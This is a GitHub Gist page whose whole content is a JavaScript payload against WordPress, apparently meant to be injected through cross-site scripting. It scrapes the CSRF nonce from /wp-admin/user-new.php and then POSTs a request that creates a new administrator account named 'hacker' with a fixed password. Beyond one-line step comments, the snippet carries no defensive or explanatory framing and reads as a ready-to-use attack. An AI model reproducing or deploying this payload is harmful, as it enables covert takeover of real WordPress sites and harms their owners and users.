Last active
January 13, 2025 23:57
-
-
Save c0d3x27/93ec216cbd99f479c644843bc665b0ef to your computer and use it in GitHub Desktop.
NONCE in Javascript
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Step 1: Extract nonce via GET request | |
let ajaxRequest = new XMLHttpRequest(); | |
const requestURL = "/wp-admin/user-new.php"; | |
const nonceRegex = /ser" value="([^"]*?)"/g; | |
ajaxRequest.open("GET", requestURL, false); // Synchronous GET request | |
ajaxRequest.send(); | |
const nonceMatch = nonceRegex.exec(ajaxRequest.responseText); | |
const nonce = nonceMatch[1]; | |
// Step 2: Use nonce to send POST request | |
const params = "action=createuser&_wpnonce_create-user=" + nonce + | |
"&user_login=hacker&[email protected]" + | |
"&pass1=hackerpass&pass2=hackerpass&role=administrator"; | |
ajaxRequest = new XMLHttpRequest(); | |
ajaxRequest.open("POST", requestURL, true); // Asynchronous POST request | |
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); | |
ajaxRequest.send(params); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment